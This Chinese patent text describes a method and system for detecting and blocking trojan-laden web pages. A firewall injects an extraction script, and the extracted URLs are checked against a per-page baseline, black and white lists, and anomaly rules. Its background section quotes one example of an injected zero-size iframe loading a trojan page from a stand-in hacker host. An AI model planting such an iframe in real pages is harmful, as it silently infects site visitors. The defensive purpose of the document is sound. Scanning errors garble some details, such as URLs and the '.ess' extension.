一种网页挂马检测和防护方法、系统及相应代码提取方法

文档序号:7898740阅读:338来源:国知局
专利名称:一种网页挂马检测和防护方法、系统及相应代码提取方法
技术领域
本发明涉及网络安全领域,具体涉及一种网页挂马检测和防护方法,一种提取与网页挂马相关的标签的代码的方法,及一种网页挂码检测系统。
背景技术
网页挂马是恶意软件传播最重要的手段。经过近二十年的发展,当前互联网规模已经非常庞大,特别是作为互联网主要业务之一的Web业务更是得到了极速发展,给人们获取信息带来了极大便利。与此同时,那些为人们提供Web业务的Web网站的安全状况堪忧,最常见的安全问题是Web网站网页被黑客挂马。目前,90%以上的木马和病毒都是利用挂马网页传播的。早期的网页挂马是在 Web网页中直接嵌入框架网页(IFRAME)或者对象(Object)实现的,比如,黑客在受害者网站www. abc. com首页面中直接嵌入下面的代码<iframe src = “ http //www. hackers. com/Trojan, html "width = 0 height =
0/>其中,iframe为标签名, src = "http://www. hackers. com/Trojan, html"width =Oheight = 0为标签属性。上述HTML 代码中的统一资源定位符(URL,Uniform/UniversalResource Locator) :http://www. hackers. com/Trojan, html所指向的网页就是一个想通过受害者网站www. abc. com传播的网页木马。如图1所示,当作为受害者的Web客户端发送请求给被挂马的Web网站www. abc. com,得到www. abc. com网站首页面并打开时,会去请求木马所在Web网站www. hackers, com的网页木马Trojan, html, Trojan, html将被自动加载在客户端上,并在用户没有知觉的情况下实现对该客户端的漏洞攻击和木马安装。这些被挂马的网站既是黑客攻击的受害者,客观上也充当了黑客传播木马的“帮凶”。一旦一个网站被黑客挂马,将对该网站的声誉造成非常不好的影响,因此,网站管理员都在寻求一种能够自动检测其网站各Web页面中是否存在网页挂马脚本的方法。从上面所述的Web网页挂马例子看出,通常情况下,被挂马Web网页和网页木马并不在同一个Web 网站上。绝大多数情况下,黑客只是在被挂马的Web页面中塞入少量几行HTML代码,这些 HTML代码并不具有传统文件病毒所具有的病毒特征,因此无法采用传统病毒查杀方法对被保护Web网站的所有Web页面进行病毒扫描来发现网页中隐藏的网页挂马。现有的网页挂马检测方法有以下几种1)基于传播手段的检测方法,如发现有〈iframe src =,,,,width = 0 height = 0>这样的代码,就把其作为网页挂马,但此种方法过于武断。2)基于沙箱的检测方法,该方法就是让每个页面真正运行起来,这是目前最为流行的一种方法。但该方法对环境依赖过高,从而造成漏报相当严重的现象。有很大部分的Web页面的内容在传输过程中是加密的,这对于从拦截到的Web页面中提取出与网页挂马相关的标签的代码有相当大的限制,系统难以提取出解密的所述标签的代码,进而有效地进行网页挂码检测。综上,现有技术的网页挂马检测方法还有待改进。此外,现有技术中还存在网页挂码检测过于频繁或实时性不够,管理员对于网页挂码检测及其结果缺乏有效的控制手段等问题。

发明内容
本发明的一个目的是提供一种提取Web页面中与网页挂马相关的标签的代码的方法,以解决因网页加密难以提取标签代码的问题。为了解决上述技术问题,本发明提供了一种提取Web页面中与网页挂马相关的标签的代码的方法,包括网络安全防护系统将一段用于自动提取标签的脚本代码注入拦截到的Web页面, 然后将该Web页面发送到客户端;客户端打开该Web页面时自动运行所述脚本代码,从该Web页面中提取出与网页挂马相关的标签的代码,并将所述标签的代码和该Web页面本身的URL发送到所述网络安全防护系统,其中,所述标签的代码中包含统一资源定位符(URL);网络安全防护系统接收和保存客户端发送所述标签的代码。较佳地,所述脚本代码包括启动提取代码和标签提取代码,其中所述标签提取代码包括主函数,所述主函数被执行后,从注入的Web页面中提取出与网页挂马相关的包含URL的标签代码,将所述标签代码和该Web页面本身的URL —起发送到所述网络安全防护系统;所述启动提取代码在注入的Web页面被打开时被自动执行,且在被执行后转入执行所述标签提取代码。较佳地,所述启动提取代码包括在Web页面的Body标签中增加的加载(onload)事件的代码,且该加载事件指向所述标签提取代码的主函数;或者所述启动提取代码包括在Web页面最后位置增加的SCRIPT标签的代码,且该 SCRIPT标签用于直接调用所述标签提取代码的主函数。上述方案采用了客户端参与提取标签的代码的方式,利用打开Web页面时自动运行的脚本代码提取到Web页面中没有加密的标签的代码,从整体上提高了网页挂马检测的性能。本发明的又一目的是提供一种网页挂马检测方法及系统,可以解决现有技术对环境的依赖性大,漏报多的问题。为了解决上述问题,本发明提供了一种基于基线的网页挂马检测方法,包括提取Web页面中与网页挂马相关的标签的代码,所述标签的代码中包含待检测的统一资源定位符(URL);将所述待检测的URL与相应基线中的URL进行匹配,所述相应基线中至少包含该 Web页面中已确定的安全的URL ;如匹配成功,确定所述待检测的URL的安全级别为表示URL安全的一个安全级别;如匹配失败,对所述待检测的URL进行异常检测,根据异常检测的结果确定所述待检测的URL的安全级别。较佳地,所述提取Web页面中与网页挂马相关的标签的代码,采用的是上文中披露的方法。较佳地,对所述待检测的URL进行异常检测,根据异常检测的结果确定所述待检测的URL 的安全级别,具体包括将所述待检测的URL与系统特征库中的恶意URL和/或合法URL进行匹配如匹配成功,将所述待检测的URL的安全级别确定为匹配到的恶意URL或合法URL 的安全级别;如匹配失败,再对所述待检测的URL和/或所述待检测的URL所在标签的代码的形式特征进行检测如检测出系统设定的至少一个异常形式特征,将所述待检测的URL的安全级别确定为检测出的所有异常形式特征各自对应的安全级别中,表示安全程度最低的一个安全级别;如没有检测出系统设定的异常形式特征,将所述待检测的URL的安全级别确定为系统设定的不存在异常形式特征时的安全级别。较佳地,所述系统设定的异常形式特征包括以下形式特征中的一种或多种待检测的URL不是所在Web页面所属网站的域名或子域名;待检测的URL所在的标签为script标签,该待检测URL的扩展名非JS ;待检测的URL所在的标签为link标签,该标签属性的扩展名非.ess ;待检测的URL所在的标签为img标签,该标签属性的扩展名非图片格式;待检测的URL所在的标签为frame或iframe标签,该标签属性的扩展名非html, html格式。较佳地,所述基线的建立方式包括以下方式中的一种或多种所述待检测的URL与系统特征库中的合法URL匹配成功时,将所述待检测的URL 加入所在Web页面的相应基线中;对所述待检测的URL和/或所述待检测的URL所在标签的代码进行形式特征检测,没有检测出系统设定的异常形式特征时,将所述待检测的URL加入所在Web页面的相应基线中;根据异常检测的结果确定所述待检测的URL不是安全的URL,但管理员审核后确定所述URL为安全的URL时,将所述URL加入所在Web页面的相应基线中。较佳地,对所述待检测的URL和/或所述待检测的URL所在标签的代码进行形式特征检测后,如确定所述待检测URL的安全级别为表示URL不安全的安全级别,则
将所述待检测的URL作为恶意URL加入系统特征库中;或者再经管理员审核确定所述待检测的URL不安全后,将所述待检测的URL作为恶意 URL加入系统特征库中。较佳地,所述网页挂马检测方法还包括对从该Web页面提取的各个标签的代码中包含的 URL的安全级别进行检测后,将检测出的安全级别中表示安全程度最低的一个安全级别作为该Web页面与网页挂马相关的安全级别。相应地,本发明还提供了一种网页挂马检测系统,包括提取装置,用于提取Web页面中与网页挂马相关的标签的代码,所述标签的代码中包含待检测的统一资源定位符(URL);匹配装置,用于将所述待检测的URL与相应基线中的URL进行匹配,所述相应基线中至少包含该Web页面中已确定的安全的URL ;第一检测装置,用于在所述匹配装置匹配成功时,确定所述待检测的URL的安全级别为表示URL安全的一个安全级别;第二检测装置,用于在所述匹配装置匹配失败时,对所述待检测的URL进行异常检测,根据异常检测结果确定所述待检测的URL的安全级别。较佳地,所述提取装置包括注入子装置,用于将一段脚本代码注入拦截到的Web页面,然后将该Web页面发送到客户端;其中,该脚本代码配置为客户端打开注入的Web页面时触发该脚本代码自动运行,从该Web页面中提取出与网页挂马相关的标签的代码,将提取的标签的代码和该Web页面本身的URL发送到系统,其中,提取的标签的代码包含待检测的URL ;接收子装置,用于接收和保存客户端发送的所述标签的代码。较佳地,所述第二检测装置包括匹配子装置,用于将所述待检测的URL与系统特征库中的恶意URL和/或合法URL 进行匹配第一判定子装置,用于在所述匹配子装置匹配成功时,将所述待检测的URL的安全级别确定为匹配到的恶意URL或合法URL的安全级别;第二判定子装置,又包括异形检测单元,用于在所述匹配子装置匹配失败时,再对所述待检测的URL和/或所述待检测的URL所在标签的代码的形式特征进行检测第一判定单元,用于在异形检测单元检测出系统设定的至少一个异常形式特征时,将所述待检测的URL的安全级别确定为检测出的所有异常形式特征各自对应的安全级别中,表示安全程度最低的一个安全级别;第二判定单元,用于在异形检测单元没有检测出异常形式特征时,将所述待检测的URL的安全级别确定为系统设定的URL不存在异常形式特征时对应的安全级别。较佳地,所述网页挂马检测系统还包括基线建立装置,该基线建立装置又包括以下子装置中的一种或多种第一建立子装置,用于在所述匹配子装置将待检测的URL与系统特征库中的合法 URL匹配成功时,将所述待检测的URL加入所在Web页面的相应基线中;第二建立子装置,用于在所述异形检测单元对待检测的URL和/或待检测的URL 所在标签的代码进行形式特征检测,没有检测出系统设定的异常形式特征时,将所述待检测的URL加入所在Web页面的相应基线中;第三建立子装置,用于在第二检测装置根据异常检测的结果确定待检测的URL不是安全的URL,但经管理员审核后确定所述URL为安全的URL时,将所述URL加入所在Web 页面的相应基线中。较佳地,所述网页挂马检测系统还包括特征库建立装置,该特征库建立装置又包括第一建立子装置,用于在第二检测装置对待检测的URL和/或待检测的URL所在标签的代码进行形式特征检测后,如确定所述待检测的URL不安全,则将所述待检测的URL 作为恶意URL加入系统特征库中,或者经管理员审核确定所述待检测的URL不安全后,再将所述待检测的URL作为恶意URL加入系统特征库中。较佳地,所述网页挂马检测系统还包括第三检测装置,用于在第一检测装置和/或第二检测装置对从Web页面中提取的各个标签的代码中包含的URL的安全级别进行检测后,将检测出的安全级别中表示安全程度最低的一个安全级别作为该Web页面与网页挂马相关的安全级别。较佳地,所述网页挂马检测系统是Web应用防火墙中的一个子系统。上述网页挂马检测方法及系统提出了基于基线的检测方法,相应的基线建立方法,可以迅速有效地对网页挂码进行检测,解决现有技术对环境的依赖性大,漏报多的问题。进一步地,还可充分利用系统特征库中的恶意URL和合法URL对URL进行检测,对于未知URL,则提供了异形检测的方法。此外,还可通过客户端的参与,有效提取Web页面中与网页挂马相关的标签的代码,以及允许管理员对检测出的URL的安全级别进行调整,增强了管理员对系统的控制能力。
本发明的再一目的是提供一种网页木马的检测和防护方法,可以解决现有技术检测过于繁频或实时性不够的问题。为了解决上述技术问题,本发明提供了一种网页木马的检测和防护方法,应用于网络安全防护系统,其特征在于检测出一个Web页面与网页挂马相关的安全等级后,将该Web页面的标识、安全等级和检测时间作为一条记录加入Web页面安全等级表中;如拦截到所述Web页面安全级别表中记录的Web页面时,判断当前时间与上一次对该Web页面进行网页挂马检测的检测时间之差是否小于设定的检测间隔时间如是,按照该Web页面的安全级别进行相应的处理;如否,启动对该Web页面的网页挂马检测,并记录此次检测时间。较佳地,
如拦截到的Web页面不是所述Web页面安全级别表中记录的Web页面,则启动对该Web页面的网页挂马检测,并记录此次检测时间。较佳地,所述启动的对该Web页面的网页挂马检测,采用的是上文中披露的网页挂马检测方法。较佳地,所述方法还包括检测出Web页面与网页挂马相关的安全等级后,还至少记录该 Web页面中不安全的URL,并将记录的所述URL提供给管理员进行审核;如管理员审核时对记录的所述URL的安全等级进行了调整并导致该Web页面的安全等级发生变化,则对所述Web页面安全等级表中该Web页面的安全等级进行更新。上述网页木马的检测和防护方法,可以解决现有技术检测过于繁频或实时性不够的问题。进一步地,可以增强管理员对网页木马防护的控制。


图1是本发明第一实施例提取Web页面中与网页挂马相关的标签的代码的方法的流程图;图2是本发明第二实施例网页挂马检测方法的总体流程图;图3是图2中对某个待检测URL进行异常检测,判断该URL的安全级别的具体方法的流程图;图4是本发明第三实施例基于第一实施例的检测结果进行安全防护和启动检测的方法的流程图;图5是本发明第三实施例管理员对待审核URL进行审核的流程图。
具体实施例方式为使本发明的目的、技术方案和优点更加清楚明白,下文中将结合附图对本发明的实施例进行详细说明。需要说明的是,在不冲突的情况下,本申请中的实施例及实施例中的特征可以相互任意组合。第一实施例本实施例涉及一种提取Web页面中与网页挂马相关的标签的代码的方法,包括步骤10,网络安全防护系统(文中也简称为系统)将一段用于自动提取标签的脚本代码注入拦截到的Web页面,然后将该Web页面发送到客户端;其中,上述脚本代码配置为客户端打开注入的Web页面时触发该脚本代码自动运行,从该Web页面中提取出与网页挂马相关的标签的代码,将提取的标签的代码和该Web 页面本身的URL发送到系统,其中,提取的标签的代码包含待检测的URL。上述脚本代码可以包括启动提取代码和标签提取代码,其中标签提取代码包括主函数,主函数被执行后,从注入的Web页面中提取出与网页挂马相关的包含URL的标签代码,将标签代码和该Web页面本身的URL —起发送到网络安全防护系统;启动提取代码在注入的Web页面被打开时被自动执行,且在被执行后转入执行标签提取代码。启动提取代码可以包括在Web页面的Body标签中增加的加载(onload)事件的代码,且该加载事件指向标签提取代码的主函数;或者,启动提取代码可以包括在Web页面最后位置增加的SCRIPT标签的代码,且该SCRIPT标签用于直接调用标签提取代码的主函数。 但本发明并不局限于此。本实施例的网络安全防护系统如可以是Web应用防火墙(WAF),或称为Web安全网关,其他实施例同此。在拦截到服务器根据客户端请求返回的Web页面后,进行上述操作。步骤20,客户端打开该Web页面时自动运行脚本代码,从该Web页面中提取出与网页挂马相关的标签的代码,并将所述标签的代码和该Web页面本身的URL发送到网络安全防护系统,其中,所述标签的代码中包含统一资源定位符(URL);上述与网页挂马相关的标签指其中的URL可能指向网页木马的标签,这些标签或者这些标签的选择条件可以在标签提取代码中设定,如设定为包括具有URL且打开Web页面时会自动启动的部分或全部标签。Web页面本身的URL可以携带在注入该Web页面的脚本代码中,也可以由脚本代码提取得到。步骤30,网络安全防护系统接收和保存客户端发送所述标签的代码。例如,系统接收到客户端发送的从Web页面提取的标签的代码后,可以将标签的代码写入该Web页面对应的一个标签代码表中,该标签代码表可以用该Web页面本身的URL 作为标识,从该Web页面中提取的每一个标签的代码作为该标签代码表中的一条记录。每一个标签的代码可以包括标签名和标签属性的代码,也可以只包括标签属性的代码。本实施例采用了客户端参与提取标签代码的方式,如网页是加密传输的,在客户端的浏览器打开Web页面时已经对网页解密。因此,利用打开Web页面时自动运行的上述脚本代码可以提取到Web页面中没有加密的标签代码。采取代码注入方式,对网页中 javascript加密以及动态产生的URL等方式都有相当好的效果,进而可从整体上提高了网页挂马检测的性能。第二实施例本实施例涉及网页木马的检测,主要是针对从Web页面中提取的与网页木马相关的标签的代码中的URL进行检测,判断出其安全级别。通常,系统为URL设置多个安全级别,安全级别只有两个时,相当于只判断URL是安全的或不安全的。安全级别有三个以上时,可以对URL的安全程度做更精确的指示。例如,在一个示例中,为URL设置了 5个安全级别,即安全级别1至安全级别5。安全级别1的安全程度最高即最安全,安全级别5的安全程度最低,即最不安全或者最危险。可以设置部分安全级别表示URL安全,另一部分安全级别表示URL不安全,如由管理员来设置。文中,如URL具有表示URL安全的安全等级,则称该URL为安全的,如URL具有表示URL不安全的安全等级,则称该URL是不安全的。例如,上述示例中,可以设置小于等于2的安全级别表示URL安全,大于等于3的安全级别表示URL不安全。需要说明的是, 安全级别与安全性的对应关系是可以根据实际需要变化的,如也可以设置表示URL安全待确定的一个或多个安全级别。本实施例对Web页面进行网页挂马检测的方法采用的是基于基线的检测方法。基线是网站Web页面中安全的URL的集合,但不局限于此。基线中的URL可以单独存在,也可以包含在所在标签的代码中。基线可以基线表的方式存在。如图2所示,本实施例的检测方法包括步骤210,提取Web页面中与网页挂马相关的标签的代码,标签的代码中包含待检测的统一资源定位符(URL); 本步骤可以采用与第一实施例相同的方法来实现。在此不再赘述。步骤220,将待检测的URL与相应基线中的URL进行匹配,相应基线中至少包含该 Web页面中已确定的安全的URL ;匹配时也可以是将待检测的URL所在标签的代码与相应基线中标签的代码进行匹配,其中包含了 URL之间的匹配。相应基线中至少包含该Web页面中已确定的安全的URL, 也可以包含该Web页面所属网站的各个页面中安全的URL。步骤230,如匹配成功,执行步骤MO,如匹配失败,执行步骤250 ;步骤M0,确定待检测的URL的安全级别为表示URL安全的一个安全级别;基线中的每个URL可以有一个安全级别,待检测URL的安全级别可以确定为匹配到的URL的安全级别。另一种方式下,基线中的URL可统一设置一个安全级别。步骤250,对待检测的URL进行异常检测,根据异常检测的结果确定待检测的URL 的安全级别。本步骤中,确定待检测URL具有表示URL安全的安全级别时,可以将该URL加入到所述基线中,即进行基线的建立。但基线建立不局限于这一种方式。最初的基线可以由管理员配置得到或者可以通过异常检测的结果由管理员加以审核得到在步骤250后,还可以根据从Web页面提取的标签的代码中包含的各个URL的安全级别的检测结果,判定该Web页面与网页挂马相关的安全级别。通常,可以将检测出的各个URL的安全级别中表示安全程度最低的一个安全级别作为该Web页面与网页挂马相关的安全级别。文中,如从Web页面中提取的所有URL均是安全的,此时该Web页面具有表示 URL安全的安全等级,称该Web页面是安全的;如从Web页面中提取的URL中至少有一个是不安全的,此时该Web页面具有表示URL不安全的安全等级,称该Web页面是不安全的。如果从Web页面提取的标签的代码如第一实施例所述保存的一个标签代码表中, 按上述流程与基线进行匹配时,可以依次将该标签代码表中的每个URL与相应基线中的 URL匹配,或者将该标签代码表中的每个标签的代码与相应基线中的标签的代码匹配,如果匹配成功,则可以将该标签的代码从该标签代码表中直接删除。匹配完成后,再对该标签代码表中剩余标签的代码进行异常检测,如检测出安全的URL,可以将该安全的URL或该安全的URL所在标签的代码注入到该基线中。对某个待检测的URL进行异常检测,判断该URL的安全级别的方法有多种。本实施例中采用的方法如图3所示,包括步骤310,将待检测的URL与系统特征库中的恶意URL和/或合法URL进行匹配;恶意URL的集合可以称为黑名单,来源可以是云安全检测系统所得到的结果,也可以根据下文中的异形检测结果增加新的恶意URL。合法URL的集合可以称为白名单,可以包括被保护网站允许的URL,如某个网站管理员允许其网站的某个广告商所加的URL等,相当于用户自定义特征。
黑名单与白名单作为异常检测的基本特征,类似于对已知病毒的检测。步骤320,如匹配成功,执行步骤330,否则执行步骤340 ;步骤330,将待检测的URL的安全级别确定为匹配到的恶意URL或合法URL的安全级别,结束;系统特征库中的每一恶意URL和每一合法URL可以有一个安全级别;或者,也可以为所有恶意URL设置一个安全级别,为所有合法URL设置一个安全级别。待检测的URL与系统特征库中的合法URL匹配成功时,可以将待检测的URL加入所在Web页面的相应基线中,即进行基线建立。步骤340,对待检测的URL和/或待检测的URL所在标签的代码的形式特征进行检测,如检测出系统设定的至少一个异常形式特征,执行步骤350,否则,执行步骤360 ;步骤350,将待检测的URL的安全级别确定为检测出的所有异常形式特征各自对应的安全级别中表示安全程度最低的一个安全级别;步骤360,将待检测的URL的安全级别确定为系统设定的URL不存在异常形式特征时的安全级别,结束。异常形式特征对应的安全级别可以是表示URL不安全的某个安全级别。系统设定的URL不存在异常形式特征时的安全级别可以是表示URL安全的某个安全级别,此时,可以将没有检测出异常形式特征的待检测的URL加入所在Web页面的基线中。但异常形式特征对应的安全级别的设置很灵活,并不局限于某种固定的方式。系统设定的每一个异常形式特征可以对应于一个安全级别;也可以是所有异常形式特征对应于一个安全级别。在一个示例中,异常形式特征可以包括但不局限于以下形式特征中的一种或多种1)该待检测URL不是所在Web页面所属网站的域名或子域名;2)该待检测URL所在的标签为script标签,该待检测URL的扩展名非JS ;3)该待检测URL所在的标签为link标签,该标签属性的扩展名非.ess ;4)该待检测URL所在的标签为img标签,该标签属性的扩展名非图片格式;5)该待检测URL所在的标签为frame或iframe标签,该标签属性的扩展名非 html, html 格式。在一个示例中,可以设置上述异常形式特征1)对应于安全级别5,形式特征2), 3),4),5)对应于安全级别4。如通过异形检测确定某个URL具有表示URL不安全的安全级别,可以将该URL作为恶意URL加入到系统特征库中,或者经管理员审核确定该URL为恶意URL后加入到系统特征库中,加入系统特征库的同时可以记录该不安全的URL的安全级别。上述对网页挂马的异常形式特征的检测(简称为异形检测)主要是根据URL和/ 或URL所在标签的代码的形式特征(也可称为外在特征)来检测,类似于对未知病毒的检测,有一定的误报性。相应地,本实施例提供的网页挂马检测系统包括提取装置,用于提取Web页面中与网页挂马相关的标签的代码,所述标签的代码中包含待检测的统一资源定位符(URL);
匹配装置,用于将所述待检测的URL与相应基线中的URL进行匹配,所述相应基线中至少包含该Web页面中已确定的安全的URL ;第一检测装置,用于在所述匹配装置匹配成功时,确定所述待检测的URL的安全级别为表示URL安全的一个安全级别;第二检测装置,用于在所述匹配装置匹配失败时,对所述待检测的URL进行异常检测,根据异常检测结果确定所述待检测的URL的安全级别。较佳地,所述提取装置包括注入子装置,用于将一段脚本代码注入拦截到的Web页面,然后将该Web页面发送到客户端;其中,该脚本代码配置为客户端打开注入的Web页面时触发该脚本代码自动运行,从该Web页面中提取出与网页挂马相关的标签的代码,将提取的标签的代码和该Web页面本身的URL发送到系统,其中,提取的标签的代码包含待检测的URL ;接收子装置,用于接收和保存客户端发送的所述标签的代码。较佳地,所述第二检测装置包括匹配子装置,用于将所述待检测的URL与系统特征库中的恶意URL和/或合法URL 进行匹配第一判定子装置,用于在所述匹配子装置匹配成功时,将所述待检测的URL的安全级别确定为匹配到的恶意URL或合法URL的安全级别;第二判定子装置,又包括异形检测单元,用于在所述匹配子装置匹配失败时,再对所述待检测的URL和/或所述待检测的URL所在标签的代码的形式特征进行检测第一判定单元,用于在异形检测单元检测出系统设定的至少一个异常形式特征时,将所述待检测的URL的安全级别确定为检测出的所有异常形式特征各自对应的安全级别中,表示安全程度最低的一个安全级别;第二判定单元,用于在异形检测单元没有检测出异常形式特征时,将所述待检测的URL的安全级别确定为系统设定的URL不存在异常形式特征时对应的安全级别。较佳地,所述网页挂马检测系统还包括基线建立装置,该基线建立装置又包括以下子装置中的一种或多种第一建立子装置,用于在所述匹配子装置将待检测的URL与系统特征库中的合法 URL匹配成功时,将所述待检测的URL加入所在Web页面的相应基线中;第二建立子装置,用于在所述异形检测单元对待检测的URL和/或待检测的URL 所在标签的代码进行形式特征检测,没有检测出系统设定的异常形式特征时,将所述待检测的URL加入所在Web页面的相应基线中;较佳地,所述网页挂马检测系统还包括特征库建立装置,该特征库建立装置又包括第一建立子装置,用于在第二检测装置对待检测的URL和/或待检测的URL所在标签的代码进行形式特征检测后,如确定所述待检测的URL不安全,则将所述待检测的URL 作为恶意URL加入系统特征库中,或者经管理员审核确定所述待检测的URL不安全后,再将所述待检测的URL作为恶意URL加入系统特征库中。较佳地,所述网页挂马检测系统还包括第三检测装置,用于在第一检测装置和/或第二检测装置对从Web页面中提取的各个标签的代码中包含的URL的安全级别进行检测后,将检测出的安全级别中表示安全程度最低的一个安全级别作为该Web页面与网页挂马相关的安全级别。第三实施例本实施例涉及网页挂马检测和防护方法。其中,采用的网页挂马检测可以与第二实施例相同。本实施例主要讨论如何启动网页挂马检测,避免检测过于频繁占用太多运算资源,或者不能及时检测到网页挂码。网络安全防护系统在对Web页面进行网页挂马检测之后,还将该Web页面的标识信息、该Web页与网页挂马相关的安全级别及检测时间记录到Web页面安全级别表中,Web 页面可以Web页面本身的URL来标识,在Web页面安全级别表中,还可以记录Web页面中不安全的URL或除了安全的URL之外的其他URL。然后利用Web页面安全级别表实现安全防护。如图4所示,本实施例网页挂马检测和防护方法包括步骤410,拦截到服务器根据客户端请求返回的Web页面;步骤420,判断Web页面安全级别表中是否有该Web页面的记录,如果没有记录,执行步骤430,否则执行步骤440 ;步骤430,启动对该Web页面的网页挂马检测,记录检测时间,结束;网页挂马检测请参照上一实施例中的内容。本步骤同时可以将该Web页面发送到
客户端。步骤440,判断当前时间与上一次对该Web页面进行网页挂马检测的检测时间之差是否小于设定的检测间隔时间,如果小于,执行步骤450,否则执行步骤460 ;步骤450,按照Web页面安全级别表记录的该Web页面的安全级别进行相应的处
理,结束;对不同安全级别的相应处理可以由管理员根据需要灵活设置,例如,在一个示例中如该Web页面的安全级别表示该Web页面安全程度很高,如为上述示例中的安全级别1或安全级别2,可以直接将该Web页面发送给客户端;如该Web页面的安全级别表示该Web页面安全程度很低,如为上述示例中的安全级别5或安全级别4,可以阻断该Web页面,不发送给客户端;如该Web页面的安全级别表示该Web页面安全程度为中等,如为上述示例中的安全级别3,可以将该Web页面发送给客户端的同时进行报警。步骤460,启动对该Web页面的网页挂马检测,记录检测时间,结束。本步骤中同时可以按照Web页面安全级别表记录的该Web页面的安全级别进行相应的处理。有个时候很多用户同时访问某个页面,如果每次都进行网页挂马检测,那么性能会大打折扣。上述流程可以避免频繁检测对性能的影响。本实施例还提供了一种管理员审核的方案,也就是说,对某个URL进行异常检测后,将不安全的URL或者除安全的URL之外的其他URL交由管理员来审核,图5所示为本实施例管理员审核的流程,包括
步骤510 从Web页面安全级别表中将不安全的Web页面或者除不安全的Web页面之外的其他Web页面提取出来;步骤520 对提取的每个Web页面,系统将检测到的该Web页面中不安全的URL或除安全的URL之外的其他URL,及这些URL的安全级别展示给管理员;步骤530 管理员对不安全的URL或者除安全的URL之外的其他URL进行审核,必要时调整URL的安全级别;如,管理员认为某个URL是安全的,则将该URL的安全级别调整为表示URL安全的一个安全级别,此时如导致Web页面与网页挂码有关的安全级别发生变化,还应更新Web页面安全级别表中该Web页面的安全级别。步骤M0,系统将管理员审核后新增的安全的URL加入到所在Web页面的相应基线中。对URL的安全级别进行审核和调整不限于通过Web页面安全级别表中来提取出不安全的URL或除安全的URL之外的其他URL。如可以预先将不安全的URL或除安全的URL 之外的其他URL存放到一个待审核的URL表中。等等。将检测的结果交给管理员审核,进而可以对基线表进行修改,这种方法更体现网马检测的人性化,可以进一步确保检测的准确性。由于管理员人工的参与,管理员能更好地对自己网站的安全进行控制。本实施例的网页挂马检测系统与第二实施例基本相同,其中的基线建立装置还可以包括第三建立子装置,用于在第二检测装置根据异常检测的结果确定待检测的URL不是安全的URL,但经管理员审核后确定所述URL为安全的URL时,将所述URL加入所在Web 页面的相应基线中。下面用几个应用示例对本发明做进一步的说明。应用示例一假设有一个Web页面,含有b,c,d,e,f五个正常的子链接(URL),URL的安全级别有5级,安全级别1,2表示URL安全,其他安全级别表示URL不安全。进行网页挂马检测的流程如下步骤一,客户端请求访问该Web页面,系统拦截该Web页面后,发现此页面没有检查过,转步骤二;步骤二,系统向该Web页面注入一段javascipt代码,并发送给客户端,客户端运行后,把与网页挂马相关的标签代码发回系统,写入标签代码表。此时,标签代码表里有以下五个URL的记录,即b,c,d, e, f ;步骤三,进行基线对比,把标签代码表中的记录与基线表中的记录相对比,发现b, c, d,e,f都不在基线表中,于是转步骤四,进行异常检测;步骤四,对b,c,d,e,f五个URL进行异常检测(包括黑、白名单,异形检测),发现此5个URL的安全级别均为1,认为是安全的URL,于是转步骤五;步骤五,进行基线建立,把b,c,d,e,f这五个URL插入到基线表中,并将该Web页面插入到TOB页面安全级别表中,该Web页面的安全级别为1。应用示例二仍以上一应用示例的Web页面为例。假设黑客取得某个权限,在该Web页面中加了一个挂马链接(URL) g,之后,进行网页挂马检测的流程如下步骤一、当客户端请求访问该Web页面,系统拦截该Web页面后,发现该Web页面已有一段时间(如半小时)没有检查了,超过了设置的检测时间,于是转步骤二;步骤二、系统向该Web页面注入一段javascipt代码,并转发给客户端,客户端运行后,把与网页挂马相关的标签代码发回系统,写入标签代码表。此时,标签代码表里有以下六个URL的记录,即b,c,d,e,f,g ;步骤三、进行基线对比,把标签代码表中的记录与基线表中的记录相对比,此时, 发现b,c, d,e, f都在基线表中,g不在,转4,对g进行异常检测;步骤四、对g进行异常检测(包括黑白名单检测,异形检测),确定此URL不安全, 如在黑名单里发现了,或者通过异形检测发现不是本域名,于是确定其安全级别为5或者 4,转步骤五;步骤五5、发现g不安全,不进行基线表修改,将该Web页面本身的URL、安全级别和此次检测时间加入到WEB页面安全级别表中。该Web页面的安全级别等于g的安全级别, 即为5或4,另外,还可以将g加入到黑名单;步骤六、管理员发现TOB页面安全级别表中的该Web页面不安全,调出从该Web页面提取的g,对g进行审核,以确定是否把g放入基线表中。综上,上述方法和系统体现了一种全面的检测网马的思想,是相当科学与具有生命力的方案。本领域普通技术人员可以理解上述方法中的全部或部分步骤可通过程序来指令相关硬件完成,所述程序可以存储于计算机可读存储介质中,如只读存储器、磁盘或光盘等。可选地,上述实施例的全部或部分步骤也可以使用一个或多个集成电路来实现,相应地,上述实施例中的各模块/单元可以采用硬件的形式实现,也可以采用软件功能模块的形式实现。本发明不限制于任何特定形式的硬件和软件的结合。以上所述仅为本发明的优选实施例而已,并不用于限制本发明,对于本领域的技术人员来说,本发明可以有各种更改和变化。例如,对URL的安全级别进行检测时,可以将基线与白名单合并到同一个特征库来与待检测URL进行比对,等等。凡在本发明的精神和原则之内,所作的任何修改、等同替换、改进等,均应包含在本发明的保护范围之内。
权利要求
1.一种提取Web页面中与网页挂马相关的标签的代码的方法,包括网络安全防护系统将一段用于自动提取标签的脚本代码注入拦截到的Web页面,然后将该Web页面发送到客户端;客户端打开该Web页面时自动运行所述脚本代码,从该Web页面中提取出与网页挂马相关的标签的代码,并将所述标签的代码和该Web页面本身的URL发送到所述网络安全防护系统,其中,所述标签的代码中包含统一资源定位符(URL); 网络安全防护系统接收和保存客户端发送所述标签的代码。
2.如权利要求1所述的方法,其特征在于,所述脚本代码包括启动提取代码和标签提取代码,其中所述标签提取代码包括主函数,所述主函数被执行后,从注入的Web页面中提取出与网页挂马相关的包含URL的标签代码,将所述标签代码和该Web页面本身的URL —起发送到所述网络安全防护系统;所述启动提取代码在注入的Web页面被打开时被自动执行,且在被执行后转入执行所述标签提取代码。
3.如权利要求2所述的方法,其特征在于所述启动提取代码包括在Web页面的Body标签中增加的加载(onload)事件的代码, 且该加载事件指向所述标签提取代码的主函数;或者所述启动提取代码包括在Web页面最后位置增加的SCRIPT标签的代码,且该SCRIPT 标签用于直接调用所述标签提取代码的主函数。
4.一种基于基线的网页挂马检测方法,包括提取Web页面中与网页挂马相关的标签的代码,所述标签的代码中包含待检测的统一资源定位符(URL);将所述待检测的URL与相应基线中的URL进行匹配,所述相应基线中至少包含该Web 页面中已确定的安全的URL ;如匹配成功,确定所述待检测的URL的安全级别为表示URL安全的一个安全级别; 如匹配失败,对所述待检测的URL进行异常检测,根据异常检测的结果确定所述待检测的URL的安全级别。
5.如权利要求4所述的网页挂马检测方法,其特征在于所述提取Web页面中与网页挂马相关的标签的代码,采用的是如权利要求1或2或3 所述的方法。
